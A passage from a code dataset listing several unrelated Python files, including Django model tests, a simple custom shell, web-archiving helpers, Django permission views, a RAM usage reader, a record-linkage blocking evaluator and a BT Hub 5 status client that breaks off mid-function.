put_requests[0][\"headers\"][\"Content-Type\"] # Contains plaintext\n\n assert \"/workspaces/project_\" + created_proj_uuid in put_requests[1][\"url\"] # check if UUID in called URLs\n assert \"application/json\" in put_requests[1][\"headers\"][\"Content-Type\"] # Second request is JSON\n\n project_path = \"/projects/{}\".format(created_proj_uuid)\n assert len(glob.glob(project_path + \"/mainortho/ortho_*.tif\")) == 1\n with open(project_path + \"/mainortho/indexer.properties\") as f:\n assert \"PropertyCollectors=TimestampFileNameExtractorSPI[timeregex](ingestion)\" in f.read()\n with open(project_path + \"/mainortho/timeregex.properties\") as f:\n assert f.read() == \"regex=[0-9]{8},format=yyyyMMdd\"\n\n def test_compute_disk_space(self, fs, projects: List[UserProject]):\n \"\"\"\n Tests that the used disk space is updated correctly\n Args:\n fs: The pyfakefs fixture\n projects: A list of projects\n \"\"\"\n p = projects[0]\n # These should be 41KB and 1MB files, respectively\n fs.create_file(p.get_disk_path() + \"/smallfile.txt\", contents=\"A\" * 1024 * 41)\n fs.create_file(p.get_disk_path() + \"/somewhere/hidden/bigfile.txt\", contents=\"Z\" * 1024 * 1024)\n\n p.update_disk_space()\n p.refresh_from_db()\n\n assert p.used_space == 1024 + 41\n\n\n@pytest.mark.django_db\nclass TestArtifactModel(ProjectsMixin, BaseTestViewSet):\n @staticmethod\n def _test_disk_path(projects, art_type, name, filename, title):\n art = Artifact.objects.create(project=projects[0], type=art_type.name, name=name,\n title=title)\n path = art.get_disk_path()\n assert \"/projects/\" in path\n assert str(projects[0].uuid) in path\n assert name in path\n assert filename in path\n assert title not in path\n\n def test_disk_path_shapefile(self, projects):\n self._test_disk_path(projects, ArtifactType.SHAPEFILE, \"somefile\", \"poly.shp\", \"Vector\")\n\n def test_disk_path_index(self, projects):\n self._test_disk_path(projects, ArtifactType.INDEX, \"somefile\", \"somefile.tif\", \"Index\")\n\n\n@pytest.mark.django_db\nclass TestFlightModel(FlightsMixin, BaseTestViewSet):\n def test_cannot_repeat_flight_name_on_same_user(self, users):\n u = users[0]\n u.flight_set.create(name=\"title\", date=datetime.now())\n with pytest.raises(IntegrityError):\n u.flight_set.create(name=\"title\", date=datetime.now())\n\n def test_can_repeat_flight_name_on_different_user(self, users):\n users[0].flight_set.create(name=\"title\", date=datetime.now())\n try:\n users[1].flight_set.create(name=\"title\", date=datetime.now())\n except IntegrityError:\n pytest.fail(\"Attempt to create flight raised IntegrityError unexpectedly!\")\n\n def test_flight_initializes_as_waiting_for_images(self, users):\n f = users[0].flight_set.create(name=\"flight\", date=datetime.now())\n assert f.state == FlightState.WAITING.name\n\n def test_flight_png_ortho_path(self, users):\n f = users[0].flight_set.create(name=\"flight\", date=datetime.now())\n assert str(f.uuid) in f.get_png_ortho_path()\n assert f.get_png_ortho_path().endswith(\"/odm_orthophoto/odm_orthophoto.png\")\n\n def test_get_nodeodm_info(self, users):\n f: Flight = users[0].flight_set.create(name=\"flight\", date=datetime.now())\n f.state = FlightState.PROCESSING.name\n f.save()\n\n # httpretty.enable()\n httpretty.register_uri(httpretty.GET, \"http://container-nodeodm:3000/task/{}/info\".format(f.uuid),\n body=json.dumps({\"processingTime\": 123, \"progress\": 42}))\n info = f.get_nodeodm_info()\n assert info[\"processingTime\"] == 123\n assert info[\"progress\"] == 42\n assert info[\"numImages\"] == 0\n\n def test_compute_disk_space(self, fs, users):\n \"\"\"\n Tests that the used disk space is updated correctly\n Args:\n fs: The pyfakefs fixture\n users: The User list fixture\n \"\"\"\n f = users[0].flight_set.create(name=\"flight\", date=datetime.now())\n # These should be 3KB and 3MB files, respectively\n fs.create_file(f.get_disk_path() + \"/images.json\", contents=\"A\" * 1024 * 3)\n fs.create_file(f.get_disk_path() + \"/odm_orthophoto/odm_orthophoto.tif\", contents=\"Z\" * 1024 * 1024 * 3)\n\n f.update_disk_space()\n f.refresh_from_db()\n\n assert f.used_space == (3 * 1024) + 3\n\n\n@pytest.mark.django_db\nclass TestUserModel(FlightsMixin, ProjectsMixin, BaseTestViewSet):\n def test_compute_disk_space(self, fs, users, flights, projects):\n \"\"\"\n Tests that the used disk space is updated correctly\n Args:\n fs: The pyfakefs fixture\n users: The User list fixture\n \"\"\"\n u: User = users[0]\n u.refresh_from_db()\n f = u.flight_set.all()[0]\n p = u.user_projects.all()[0]\n\n # Create files for the user's first Flight\n fs.create_file(f.get_disk_path() + \"/smallfile.txt\", contents=\"A\" * 1024 * 3)\n fs.create_file(f.get_disk_path() + \"/odm_orthophoto/bigfile.tif\", contents=\"Z\" * 1024 * 1024 * 3)\n # Create files for the user's first UserProject\n fs.create_file(p.get_disk_path() + \"/smallfile.txt\", contents=\"A\" * 1024 * 41)\n fs.create_file(p.get_disk_path() + \"/somewhere/hidden/bigfile.txt\", contents=\"Z\" * 1024 * 1024)\n\n f.update_disk_space()\n p.update_disk_space()\n u.update_disk_space() # User.update_disk_space() expects all Flights and Projects to be updated\n u.refresh_from_db()\n\n assert u.used_space == 3 + (3 * 1024) + 41 + 1024\n","sub_path":"core/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":8551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"348868627","text":"#!bin /usr/bin/python3\nimport file_tools.auto_param_config as apc\n\n\ndef _show_dict(d, dict_name = None, tab_count = 3):\n \"\"\"Affiche proprement un dictionnaire dans le terminal\"\"\"\n if not(dict_name == None):\n print(\"Show Dictionnaire\",dict_name)\n for k in d.keys():\n print(\" \",k, \" \"*(tab_count*4 - len(k)), \"|\", d[k])\n\n\n##---------------------- COMMANDES DE BASE DU SHELL ---------------------------\ndef quit(env=None, params=[], **kwargs):\n if params == None:\n return \"quit : arrete cette utilitaire\\n Utilisation:'quit'\"\n elif not(env==None):\n env[\"stop\"] = True\n return env, conf\n\n\ndef conf(env= None,config=None, params=[], **kwargs):\n if params == None :\n if config == None:\n return \"conf : set n'importe quelle valeur de la config\\n Utilisation: IMPOSSIBLE PAS DE CONFIG DANS LE SHELL COURANT\"\n else:\n return \"conf : set n'importe quelle valeur de la config\\n Utilisation:'conf [key new_value]*'\"\n elif config == None:\n print(\"ERREUR:Action impossible: le shell ne possède pas de config\")\n elif params == []:\n s = \"Config actuelle:\\n\"\n for key in config.__dict__.keys():\n s = s + \" \" + key + \":\" + config.__dict__[key] + \"\\n\"\n print(s)\n return None\n else:\n config.__dict__[params[0]] = params[1]\n return env, config\n\n\ndef help(env=None, config=None, params=[], commandes = [], alias = [], **kwargs):\n if params == None:\n return \"help : affiche cette aide ou des info sur une commande\\n Utilisation : 'help' [-h|-d] [ ['conf'|'env'] [ -f func_name [-p param_name]* | attribut_name]* | commande_name]\\n help seul affiche la liste des commandes\\n '-d' [par defaut] affichera le resultat de cette fonction\\n '-h' affichera l'aide python sur le resultat de cette fonction\\n help + 'conf' affiche la liste des attribu de la config courante\\n help + 'conf' + a où a est une sequence de nom d'attibut et d'action d'exploration\\n ex : 'help conf truc -h -f get_machin -p chose bidule' executera help(conf['truc'].get_machin('chose').bidule)\\n -f permet de spécifier que le prochain paramètre est un appel de fonction\\n -p permet de spécifier que le prochain paramètre est un paramètre de la fonction\\n command_name : le nom d'une commande, l'aide de cette commande sera appalé comme avec 'help'\"\n else:\n if params == []:\n print(\"Liste des commandes possibles:\")\n for command_name in commandes.keys():\n if command_name == \"default\":\n print(\"COMMANDE PAR DEFAUT (Executé si aucune commande n'est précisée)\")\n print(commandes[command_name](env=env, config=config, params=None))\n print(\" Alias:\",*[a for a in alias.keys() if alias[a]==command_name])\n elif params[0] == \"conf\" or params[0] == \"env\":\n dict_analysed = config if params[0] == \"conf\" else env\n if len(params) == 1:\n _show_dict(dict_analysed, dict_name = \"Configuration courante:\" if params[0] == \"conf\" else \"Environnement courant\", tab_count = 6)\n else:\n print(\"Désolé pas encore implémenté\") #TODO\n else:\n if params[0] in alias:\n params[0] = alias[params[0]]\n if params[0] in commandes:\n print(commandes[params[0]](env=env, config=config, params=None))\n print(\" Alias:\",*[a for a in alias.keys() if alias[a]==params[0]])\n\n##----------------------- Liste des commandes de base -------------------------\ndefault_commands = {\"quit\":quit, \"set_conf\":conf, \"help\":help}\ndefault_alias={\"set_configuration\":\"set_conf\",\"setconf\":\"set_conf\",\"exit\":\"quit\",\"h\":\"help\",\"aide\":\"help\",\"fin\":\"quit\"}\n\ndef shell(env, additionnal_command_dict, aliases={}, config = None, config_path = None, draw_func = None, shell_prompt = \"basic_custom_shell >>>\"):\n \"\"\"Génère un shell console minimaliste.\n - env : dict = dictionnaire des variable d'environnement\n - additionnal_command_dict : dict = dictionnaire des commandes a ajouter au shell {command_name : function_to_execute}\n -[aliases]: dict = dictionnaire des alias '{alias : command_name}'\n -[config]: dict = un dictionnaire des variable d'environnement issues d'une config stockée en dur\n -[config_path]: string = le chemin d'accès a la config précedente\n -[draw_func]: une fonction qui sera executée entre chaque commande afin de redessinner le shell custom, la fonction prend en paramètre 2 dictionnaires (l'environnement et la config) et renvoi le string du prompt\n -[default_func]: un fonction qui sera executé si aucune commande n'est fournie\n -[shell_prompt]: String = le texte affiché a chaque prompt du shell.\n \"\"\"\n env[\"stop\"]=False\n env[\"config_path\"] = config_path\n #global command_list\n command_list = default_commands.copy()\n command_list.update(additionnal_command_dict)\n #global alias_list\n alias_list = default_alias.copy()\n alias_list.update(aliases)\n while not(env[\"stop\"]):\n if not(draw_func == None):\n shell_prompt = draw_func(env=env, config=config)\n input_entry = input(shell_prompt)\n commands = input_entry.split()\n # on sépare les différent argument ( séparés par des espace)\n if len(commands)> 0:\n command_found = False\n new_env_conf = None\n if commands[0] in command_list.keys():\n command_found = True\n new_env_conf = command_list[commands[0]](env=env, config=config, params=commands[1:], commandes = command_list, alias = alias_list)\n elif commands[0] in alias_list.keys():\n command_found = True\n new_env_conf = command_list[alias_list[commands[0]]](env=env, config=config, params=commands[1:],commandes = command_list, alias = alias_list)\n if not(new_env_conf==None):\n new_env, new_config = new_env_conf\n # si la commande a retourné une config on l'applique\n if not(new_env == None):\n env = new_env\n if not(new_config == None):\n config = new_config\n if not command_found:\n print(\"Commande inconnue, RTFM ou Entrez 'help' pour afficher la liste des commandes\")\n elif \"default\" in command_list.keys():\n command_list[\"default\"](env=env, config=config, commandes = command_list, alias = alias_list)\n","sub_path":"file_tools/basic_custom_shell.py","file_name":"basic_custom_shell.py","file_ext":"py","file_size_in_byte":6571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"530434430","text":"import requests\nfrom time import sleep\nfrom urllib.parse import urlparse\n\nfrom sqlalchemy_api_handler.utils import logger\n\n\nAPI_URL = 'http://archive.org/wayback/available?url='\nBASE_URL = 'https://web.archive.org'\nSAVE_URL = 'https://web.archive.org/save/'\nARCHIVEIS_URL = 'https://archive.vn'\nFALLBACK_LIST = [\n 'twitter.com',\n 'instagram.com'\n]\n\n\ndef create_wayback_machine_url(url, sleep_time=2):\n logger.info('Saving {} to Wayback Machine...'.format(url))\n with requests.Session() as session:\n session.headers = {\n 'Connection': 'keep-alive',\n 'host': urlparse(BASE_URL).hostname,\n 'User-Agent': 'Science Feedback (https://sciencefeedback.co)'\n }\n session.allow_redirects = True\n session.timeout = 120\n\n res = session.get('{}{}'.format(SAVE_URL, url))\n # wait time to ensure the page is saved\n sleep(sleep_time)\n if res.status_code == 200:\n logger.info('Saving {} to Wayback Machine...Done.'.format(url))\n location = res.headers.get('Content-Location')\n if not location:\n logger.error('Failed to save {url} to Wayback Machine: {res.headers}')\n return None\n return '{}{}'.format(BASE_URL, location)\n else:\n logger.error('Saving {} to Wayback Machine...ERROR: {}'.format(url, res.status_code))\n return None\n\n\ndef find_existing_wayback_machine_url(url):\n logger.info('Looking for existing url: {}'.format(url))\n res = requests.get('{}{}'.format(API_URL, url)).json()\n if res['archived_snapshots'].get('closest'):\n logger.info('Found existing url: {}'.format(url))\n return res['archived_snapshots']['closest']\n else:\n logger.info('Couldn\\'t find existing url: {}'.format(url))\n return None\n\n\ndef url_from_wayback_machine(url):\n existing = find_existing_wayback_machine_url(url)\n if existing:\n return existing['url']\n else:\n return create_wayback_machine_url(url)\n\n\ndef url_from_archiveis(url):\n save_url = '{}/submit/'.format(ARCHIVEIS_URL)\n headers = {\n 'User-Agent': 'Science Feedback (https://sciencefeedback.co)',\n 'host': urlparse(ARCHIVEIS_URL).hostname\n }\n get_kwargs = dict(\n allow_redirects=True,\n headers=headers,\n timeout=120\n )\n\n response = requests.get(ARCHIVEIS_URL + '/', **get_kwargs)\n response.raise_for_status()\n\n html = str(response.content)\n try:\n unique_id = html.split('name=\"submitid', 1)[1].split('value=\"', 1)[1].split('\"', 1)[0]\n except IndexError as e:\n logger.error('Cannot find unique id: {}.'.format(e))\n logger.info('Submitting without unique id.')\n unique_id = None\n\n data = {\n \"url\": url,\n \"anyway\": 1,\n }\n\n if unique_id is not None:\n data.update({'submitid': unique_id})\n\n post_kwargs = dict(\n allow_redirects=True,\n headers=headers,\n data=data,\n timeout=120\n )\n\n logger.info('Archiving URL: {}'.format(url))\n response = requests.post(save_url, **post_kwargs)\n response.raise_for_status()\n\n if 'Refresh' in response.headers:\n archive_url = str(response.headers['Refresh']).split(';url=')[1].replace('/wip', '')\n logger.info(\"archive_url from Refresh header: {}\".format(archive_url))\n return archive_url\n\n if 'Location' in response.headers:\n archive_url = response.headers['Location']\n logger.info(\"archive_url from Location header: {}\".format(archive_url))\n return archive_url\n\n logger.info(\"archive_url not found in response headers. Inspecting history.\")\n for i, r in enumerate(response.history):\n logger.info(\"Inspecting history request #{}\".format(i))\n logger.info(r.headers)\n if 'Location' in r.headers:\n archive_url = r.headers['Location']\n logger.info(\"archive_url from the Location header of {} history response: {}\".format(i + 1, archive_url))\n return archive_url\n\n logger.error(\"No archive_url returned by archive.vn\")\n logger.error(\"Status code: {}\".format(response.status_code))\n logger.error(response.headers)\n logger.error(response.text)\n return None\n\n\ndef url_from_archive_services(url):\n hostname = urlparse(url).hostname\n\n if hostname in FALLBACK_LIST:\n return url_from_archiveis(url)\n archive_url = url_from_wayback_machine(url)\n\n if not archive_url:\n return url_from_archiveis(url)\n return archive_url\n","sub_path":"api/utils/wayback_machine.py","file_name":"wayback_machine.py","file_ext":"py","file_size_in_byte":4541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"592102599","text":"from django.contrib.auth import get_user_model\nfrom django.contrib.auth.decorators import permission_required\nfrom django.contrib.auth.models import Permission, Group\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework import viewsets\nfrom rest_framework.decorators import permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.utils import json\nfrom rest_framework.response import Response\n\nfrom apps.user.models import UserInfo\nfrom apps.user.serializers import PermissionsSerializers, GroupsSerializers\nfrom apps.utils.response import CommonResponseMixin\n\nUser = get_user_model()\n\n\nclass PermissionsViewSet(viewsets.ModelViewSet, CommonResponseMixin):\n \"\"\"\n 权限管理\n \"\"\"\n queryset = Permission.objects.all()\n serializer_class = PermissionsSerializers\n permission_classes = [IsAuthenticated]\n\n def create_permissions(self, request):\n \"\"\"\n 换件权限\n :param request: content_type_id,codename, name\n :return: 创建成功\n \"\"\"\n data = json.loads(request.body.decode())\n content_type_id = data['content_type_id']\n content_type = ContentType.objects.get(id=content_type_id)\n permission = Permission.objects.create(\n codename=data['codename'],\n name=data['name'],\n content_type=content_type,\n )\n\n response = self.wrap_json_response()\n return Response(response)\n\n def user_add_permissions(self, request):\n \"\"\"\n 用户绑定权限\n :param request: user_id:用户id,permission_list:权限列表\n :return: 保存结果\n \"\"\"\n try:\n data = request.data\n user_id = data['user_id']\n permission_list = data['permission_list']\n user_obj = get_object_or_404(UserInfo, pk=user_id)\n print(user_obj.get_all_permissions())\n for per in permission_list:\n permission = Permission.objects.get(id=per)\n user_obj.user_permissions.add(permission)\n print(user_obj.get_all_permissions())\n # 重新加载user 对象,获取最新权限\n user_obj_new = get_object_or_404(UserInfo, pk=user_id)\n print(user_obj_new.get_all_permissions())\n print(user_obj_new.get_group_permissions())\n response = self.wrap_json_response()\n pass\n except Exception as e:\n print(e)\n response = self.wrap_json_response(code=1002, message=\"用户绑定权限失败!\")\n return Response(response)\n\n def user_remove_permissions(self, request):\n \"\"\"\n 用户删除权限\n :param request: user_id:用户id,permission_list:删除权限列表\n :return: 保存结果\n \"\"\"\n try:\n print(\"测试用户删除权限\")\n data = json.loads(request.body.decode())\n user_id = data['user_id']\n permission_list = data['permission_list']\n user_obj = get_object_or_404(UserInfo, pk=user_id)\n print(user_obj.get_all_permissions())\n for per in permission_list:\n permission = Permission.objects.get(id=per)\n user_obj.user_permissions.remove(permission)\n print(user_obj.get_all_permissions())\n # 重新加载user 对象,获取最新权限\n user_obj_new = get_object_or_404(UserInfo, pk=user_id)\n print(user_obj_new.get_all_permissions())\n print(user_obj_new.get_group_permissions())\n response = self.wrap_json_response()\n pass\n except Exception as e:\n print(e)\n response = self.wrap_json_response(code=1002, message=\"用户移除权限失败!\")\n return Response(response)\n\n\nclass GroupViewSet(viewsets.ModelViewSet, CommonResponseMixin):\n \"\"\"\n 权限组管理\n \"\"\"\n queryset = Group.objects.all()\n serializer_class = GroupsSerializers\n\n def create_group_and_permissions(self, request):\n \"\"\"\n 创建用户组并绑定权限\n :param request: group_name: 用户组名称;permission_list[]: 权限列表\n :return: 保存成功\n \"\"\"\n try:\n data = json.loads(request.body.decode())\n group_name = data['group_name']\n permission_list = data['permission_list']\n group = Group.objects.create(\n name=group_name\n )\n for per in permission_list:\n permission = Permission.objects.get(id=per)\n group.permissions.add(permission)\n response = self.wrap_json_response()\n except Exception as e:\n print(e)\n response = self.wrap_json_response(code=1002, message=\"创建用户权限组失败!\")\n return Response(response)\n\n def user_add_group(self, request):\n \"\"\"\n 用户绑���用户组\n :param request: user_id: 用户ID,group_list[]: 权限组列表\n :return: 绑定成功\n \"\"\"\n try:\n data = json.loads(request.body.decode())\n user_id = data['user_id']\n group_list = data['group_list']\n user_obj = UserInfo.objects.get(id=user_id)\n for g in group_list:\n group = Group.objects.get(id=g)\n user_obj.groups.add(group)\n response = self.wrap_json_response()\n except Exception as e:\n print(e)\n response = self.wrap_json_response(code=1002, message=\"用户组绑定失败!\")\n return Response(response)\n\n","sub_path":"apps/user/auths.py","file_name":"auths.py","file_ext":"py","file_size_in_byte":5694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"554476029","text":"import os\n\nfrom Ruikowa.ObjectRegex.MetaInfo import MetaInfo\n\nfrom linq import Flow\nimport linq.standard\nimport json\nfrom code_gen_test.mparser import Def, token, paramList\nfrom Ruikowa.ObjectRegex.ASTDef import Ast\nfrom Ruikowa.ErrorFamily import handle_error\n\n_parser = handle_error(Def)\n_param_parser = handle_error(paramList)\n\n\ndef read(file):\n with open(file, encoding='utf8') as cur:\n return cur.read()\n\n\ndef recursive_list(directory):\n files = map(lambda f: '{directory}/{f}'.format(f=f, directory=directory), os.listdir(directory))\n res = []\n for file in files:\n if file.endswith('.py'):\n res.append(read(file))\n elif os.path.isdir(file):\n res.extend(recursive_list(file))\n continue\n return res\n\n\nwith open('code_gen_test/specific.json', 'r') as _:\n Specific = json.load(_)\n\n\ndef gen_expr(arg):\n if len(arg) is 1:\n arg = arg[0]\n if arg in ('f', 'by'):\n return 'lambda x, y: x + y'\n elif arg in ('other',):\n return ' [(1, 2), (2, 2), (3, 3)] '\n elif arg in ('n',):\n return '1'\n elif len(arg) is 2:\n arg = arg[1]\n if arg in ('functions',):\n return 'lambda x, y: x + y'\n elif arg in ('others',):\n return ' [(1, 2), (2, 2), (3, 3)] '\n else:\n return None\n\n\nLazy = Specific['Lazy']\n\n\ndef parser(ast: Ast, value: str):\n if ast is None:\n return None\n name = ast[0]\n if name in Specific['Replace']:\n ret = Specific['Replace'][name]\n else:\n params = ast[1][1:]\n try:\n params = ','.join(map(gen_expr, params))\n except:\n return None\n ret = 'Flow({value}).{name}({params}){tail}'.format(value=value, name=name, params=params,\n tail='.ToTuple()' if name in Lazy else '')\n if name in Specific['Addition']:\n ret = ret + ';' + Specific['Addition'][name]\n return \"\"\"\ndef test_{}():\n {}\ntest_{}()\"\"\".format(name, ret, name)\n\n\nN_extension_class = len('@extension_class(')\nN_extension_class_name = len('@extension_class_name(')\n\n\ndef get_class_value(extension_head: str):\n if extension_head.startswith('@extension_class('):\n ast = _param_parser(token(extension_head[N_extension_class:-1]), meta=MetaInfo())\n if len(ast) is not 1:\n raise SyntaxError('Invalid `extension_class` usage.')\n else:\n param = ast[0]\n if len(param) is not 1:\n Warning('Might use invalid `extension_class`.')\n param = param[0]\n if param == 'list':\n return '[(1, 2), (2, 2), (3, 3)]'\n elif param == 'set':\n return '{(1, 1), (2, 2), (3, 3)}'\n elif param == 'dict':\n return '{(1, 1):(1, 1), (2, 2):(2, 2), (3, 3):(3, 3)}'\n elif param == 'tuple':\n return '((1, 2), (2, 2), (3, 3))'\n else:\n raise SyntaxWarning('[extension_class]: Cannot recognize user defined class object.')\n elif extension_head.startswith('@extension_std'):\n return '[(1, 2), (2, 3), (3, 2)]'\n elif extension_head.startswith('@extension_class_name('):\n ast = _param_parser(token(extension_head[N_extension_class_name + 1:-2]), meta=MetaInfo())\n param = ast[0][0]\n if param == 'generator':\n return '(i for i in range(3))'\n else:\n raise SyntaxError('[extension_class_name]: Cannot recognize user defined class object.')\n else:\n raise SyntaxError('Unknown extension head.')\n\n\ndef gen_functions(files):\n generated = []\n for codes in files:\n sources = codes.split('\\n')\n\n Flow(sources) \\\n .Enum() \\\n .Map(lambda i, x: (i + 1, get_class_value(x)) if x.startswith('@extension_') else None) \\\n .Filter(lambda x: x) \\\n .Map(lambda i, value: parser(_parser(token(sources[i]), meta=MetaInfo(), partial=True)\n , value)) \\\n .Filter(lambda x: x) \\\n .Then(generated.extend)\n\n return '\\n'.join(generated)\n\n\nwith open('test.py', 'w', encoding='utf8') as auto_gen_file:\n auto_gen_file.write(\"\"\"\n\nfrom linq import Flow\n{tests}\n\"\"\".format(tests=gen_functions(recursive_list('linq')))\n )\nprint(gen_functions(recursive_list('linq')))\n","sub_path":"code_gen_test.py","file_name":"code_gen_test.py","file_ext":"py","file_size_in_byte":4417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"118859145","text":"import re\nimport logging\nfrom subprocess import PIPE, Popen\n\n\ndef ram():\n \"\"\"\n Return RAM info on JSON format.\n \"\"\"\n try:\n string = get_ram_data()\n v = parse_ram_items(string)\n\n data = {\n 'ram': {\n 'total': v[0],\n 'used': v[1],\n 'free': v[2],\n 'shared': v[3],\n 'buff/cache': v[4],\n 'available': v[5]\n },\n 'swap': {\n 'total': v[6],\n 'used': v[7],\n 'free': v[8]\n }\n }\n\n logging.info('data: %s' % data)\n return data\n\n except Exception as e:\n logging.error('weirdspork_ram.ram failed: %s' % e)\n return None\n\n\ndef get_ram_data():\n \"\"\"\n Get the RAM info from the free bash command.\n \"\"\"\n try:\n df = Popen(['free'], stdout=PIPE, stdin=PIPE)\n (out, err) = df.communicate()\n\n string = out.decode(\"utf-8\")\n\n # Some regex magic to format the string.\n out = re.split('\\ ', string.replace('\\n', ' '))\n\n logging.info('out: %s' % out)\n return out\n\n except Exception as e:\n logging.error('weirdspork_ram.ram failed: %s' % e)\n return None\n\n\ndef parse_ram_items(items):\n \"\"\"\n Parse the list and remove items that are not relevant.\n \"\"\"\n try:\n data = []\n for item in items:\n try:\n # Filter out items that contain letters.\n reg = re.search('[0-9]+', item)\n if item and reg or reg == 0:\n data.append(item)\n else:\n logging.debug('Item not added to list: %s' % item)\n\n except Exception as e:\n logging.error('weirdspork_ram.parse_ram_items for loop failed: %s' % e)\n return None\n\n return data\n except Exception as e:\n logging.error('weirdspork_ram.parse_ram_items failed: %s' % e)\n return None\n","sub_path":"weirdspork_ram.py","file_name":"weirdspork_ram.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"94934792","text":"from typing import *\nimport sys\nimport rltk\n\nfrom hw03_tasks_1_2 import IMDBRecord, AFIRecord, \\\n create_dataset, get_ground_truth, create_hash_blocks, create_token_blocks\n\nHASH_BLOCKING = 0\nTOKN_BLOCKING = 1\n\n\ndef calc_reduction_ratio(dataset_1, dataset_2, block_set, gt_set):\n ''' Calculate and print reduction ratio '''\n\n pairs = rltk.get_record_pairs(dataset_1, dataset_2, block=block_set, ground_truth=gt_set)\n \n set_candidates_size = len(list(pairs))\n ds1_size = len(dataset_1.generate_dataframe())\n ds2_size = len(dataset_2.generate_dataframe())\n\n rr = (1 - float((set_candidates_size)/(ds1_size*ds2_size)))\n print(f'Reduction Ratio = 1 - ({set_candidates_size}/{ds1_size}*{ds2_size}) = {rr:.06f}')\n return rr\n\n\ndef calc_pairs_completeness(dataset_1, dataset_2, block_set, gt_set):\n ''' Calculate and print Pairs Completeness '''\n\n gt_dict = dict()\n cand_matches = 0\n\n for id_r1, id_r2, label in gt_set:\n if label:\n gt_dict[id_r1] = id_r2\n gt_matches = len(gt_dict)\n\n for key, r1_id, r2_id in block_set.pairwise(dataset_1, dataset_2):\n if r1_id in gt_dict and gt_dict[r1_id] == r2_id:\n cand_matches += 1\n del gt_dict[r1_id]\n\n pc = float(cand_matches)/gt_matches\n print(f'Pairs Completeness = {cand_matches}/{gt_matches} = {pc:.06f}')\n return pc\n\n\ndef evaluate_blocking(ds1_file: str, ds2_file: str, gt_file: str, blk_type: int):\n ''' Evaluate and print the reduction-ratio and pairs-completeness\n of the data, based on the given ground truth file '''\n\n dataset_1: rltk.Dataset = create_dataset(ds1_file, IMDBRecord)\n dataset_2: rltk.Dataset = create_dataset(ds2_file, AFIRecord)\n\n gt_set = get_ground_truth(gt_file, dataset_1, dataset_2)\n\n if HASH_BLOCKING == blk_type:\n blocks = create_hash_blocks(dataset_1, dataset_2)\n else:\n blocks = create_token_blocks(dataset_1, dataset_2)\n\n calc_reduction_ratio(dataset_1, dataset_2, blocks, gt_set)\n calc_pairs_completeness(dataset_1, dataset_2, blocks, gt_set)\n\n\ndef main():\n\n if len(sys.argv) < 2:\n print(\"Error: missing blocking type!\")\n exit(1)\n\n if sys.argv[1] == 'hash':\n blocking_type = HASH_BLOCKING\n elif sys.argv[1] == 'token':\n blocking_type = TOKN_BLOCKING\n else:\n print(\"Error: blocking type should be 'hash' or 'token'!\")\n exit(1)\n\n # define filenames\n ds1_file = \"./imdb.jl\"\n ds2_file = \"./afi.jl\"\n gt_file = \"./imdb_afi_el.dev.json\"\n\n # evaluate\n evaluate_blocking(ds1_file, ds2_file, gt_file, blocking_type)\n\n\nif __name__ == '__main__':\n main()","sub_path":"ay_hw_3/sample/hw03_eval_blocking.py","file_name":"hw03_eval_blocking.py","file_ext":"py","file_size_in_byte":2663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"358007000","text":"# uncompyle6 version 3.6.7\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build/bdist.linux-x86_64/egg/prometheus_connect/__init__.py\n# Compiled at: 2019-03-20 13:53:51\n# Size of source mod 2**32: 156 bytes\n__doc__ = ' A Class for collection of metrics from a Prometheus Host '\n__title__ = 'prometheus-connect'\n__version__ = '0.0.1'\nfrom .prometheus_connect import *","sub_path":"pycfiles/prometheus_couchbase_exporter-1.0.3-py2-none-any/__init__.cpython-36.py","file_name":"__init__.cpython-36.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"224560501","text":"import requests\nimport urllib.parse\nfrom xml.etree import ElementTree as ET\nimport re\nfrom collections import namedtuple\nimport logging\n\nsq_brackets = re.compile(r'\\[(.+)\\]')\nsquotes = re.compile(r\"\\'(.+)\\'\")\n\n# data structures\nWanConnData = namedtuple('WanConnData', 'desc code xxx')\nWanVolumeData = namedtuple('WanVolumeData', 'total rx tx')\nWanIP4 = namedtuple('WanIP4', 'addr mask gateway dns1 dns2')\nConnRate = namedtuple('ConnRate', 'up_bps down_bps up_x down_x')\nHub5Status = namedtuple('Hub5Status', 'wan_conn_data wan_volume_data wan_ip4 conn_rate')\n\n\nlog = logging.getLogger(__name__)\n\n\n# helper functions\ndef value_from(be, name):\n '''Searches for sub element name and returns the value of the\n attribute @value, or empty string if not found\n '''\n te = be.find(name)\n return te.attrib.get('value', '')\n\n\n# def print_xmldoc(doc):\n# 'Prints an xml doc. Used for debugging'\n# print(ET.tostring(doc, pretty_print=True, encoding='utf-8').decode())\n# print(ET.tostring(doc, pretty_print=True, encoding='utf-8').decode())\n\n\ndef strip_outer(rexp, s: str):\n 'Returns the string within encapsulating chars defined by the given regexp'\n m = re.match(rexp, s)\n return m.group(1) if m else s\n\n\n# API class for BT Hub 5\nclass Hub5_API():\n\n def __init__(self, hub_ip: str ='192.168.1.254'):\n self.hub_ip = hub_ip\n\n @staticmethod\n def extract_record(s: str, idx: int):\n 'Given a text record array, extract the record according to given index and format it to something more useful'\n s = strip_outer(sq_brackets, s)\n s = strip_outer(sq_brackets, s.split(', ')[idx])\n s = urllib.parse.unquote(strip_outer(squotes, s))\n return s.split(';')\n\n def get_status(self):\n try:\n wan_status_url = f'http://{self.hub_ip}/nonAuth/wan_conn.xml'\n response = requests.get(wan_status_url)\n response.raise_for_status()\n except requests.HTTPError as e:\n 